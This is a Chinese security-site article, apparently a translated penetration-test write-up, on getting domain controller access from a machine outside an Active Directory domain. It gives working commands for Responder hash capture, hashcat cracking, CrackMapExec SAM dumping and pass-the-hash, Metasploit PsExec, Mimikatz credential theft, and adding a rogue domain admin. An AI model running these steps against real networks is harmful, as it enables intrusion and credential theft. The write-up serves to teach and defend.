如何从活动目录域外的机器拿到域控权限 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

如何从活动目录域外的机器拿到域控权限

xnianq 内网渗透 2018-03-12 10:50:05
206626
收藏

导语:看文章之前先问下为什么要保证所有的机器都要加入到域中……

这是在我博客中第一篇非web类的文章,我是一个传统的web开发人员,web安全是从事安全方面的出发点。但是从我进入渗透测试行业开始,我就被这个行业深深吸引,从兼职一步步做到了全职的渗透测试工程师,活动目录域是我最喜欢的渗透测试类型。

这篇文章是关于我在今年早些为客户做的内部渗透测试,因为之前已经测试过,了解到这个客户的网络环境相当复杂,所以开始的时候很忐忑会测试不成功。

我在内网中做的第一件事就是运行Responder工具,会从本地网络中的LLMNR或者NETBIOS请求中获取到Windows hash。但是客户还是比较有安全意识的,他们已经禁用了LLMNR以及NetBIOS请求。尽管在之前的测试中已经了解到了这一点,但是我还是抱有一份希望,因为在OSCP课程中学到了总要先从尝试简单的方法开始,如果门开着,你从天窗进去那岂不是多此一举。

于是我执行了Responder,我竟然捕捉到了一台机器的hash!

da_f_od_responder.png

当然,我肯定不会在博客中公开客户的私密信息,因此你看到所有内容都是我在实验室内重新搭建环境复现出来的,并且一些隐私信息已经隐藏。

上图中可以看到172.16.157.133这一主机给我们呈现出了FRONTDESK用户的NETNTLMv2 hash。使用Crack Map Exec检查NetBIOS信息,进而确定这是不是本地用户的hash,用户名的域部分为:

[SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK

即2-FD-87622应与主机的NetBIOS名称匹配(如果是这种情况)。使用CME查找IP,我们可以看到主机的名称匹配.

da_f_od_netbios.png

所以我们下一步要做的就是尝试破解这一hash,然后得到这一用户的明文密码。使用hashcat进行破解,很快出了结果:

da_f_od_hashcat.png

现在我们已经获得了前台机器的登陆凭证,现在使用这一凭证进行攻击这台机器:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth

da_f_od_fd_pwned.png

上图中可以看到”Pwn3d”已经输出,这就意味着我们已经获取到了本地的管理员账户。这就意味着我们已经有了获取本地用户hash的权限:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam

da_f_od_fd_sam.png

可以看到已经得到了本地用户的hash:

FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::

这次我们看到的密码的是NTLM hash值,而不是之前Responder获取的NETNTLMv2 “挑战/响应”hash。Responder通过网络流量捕获hash和windows存储在SAM中的hash是不同的。

下一步就是使用这一管理员的散列对客户的主机进行“哈希传递攻击”,而不是对这一hash进行破解。

cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth

da_f_od_server_reuse_admin_passwd.png

我们只能使用存储的NTLM哈希进行传递,而不是使用NETNTLMv2格式的hash。
令我们比较惊讶的是,本地管理员账户在STEWIE机器上登录上去了。查询这一主机的BIOS信息:

$ cme smb 172.16.157.134 
SMB         172.16.157.134  445    STEWIE           
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)

我们可以看到这台机器是MACFARLANE域中的一员,而且这一个域是客户的主域。

所以我们通过一个本地无域机器的管理员密码进入到域内一个机器。现在使用Metasploit中的PsExec登陆这台机器,将NTLM哈希作为密码填写上去:

da_f_od_fd_msf_options.png

一旦执行,我们就会得到shell:

da_f_od_fd_msf_shell.png

然后使用Mimikatz模块从windows内存中获取密码:

da_f_od_fd_msf_mimikatz.png

上图中我们已经得到了域管理员的密码,最后,我们使用CME在域控制器上执行命令,将自己添加为一个域管理员。

cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'

da_f_od_fd_msf_add_da.png

注意/y参数的含义是让windows允许你添加超过14个字符的密码。

远程桌面到域控制器的屏幕截图可以作为利用证据写入到报告中:

da_f_od_fd_msf_da_proof.png

因此如果第一台拿下的机器加入到域中,那么它将会禁用掉LLMNR通信,并且我们不会获得hash值,然后这次渗透测试就不会成功~这就是文章开始的问题,为什么所有的机器要加入域中的答案。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务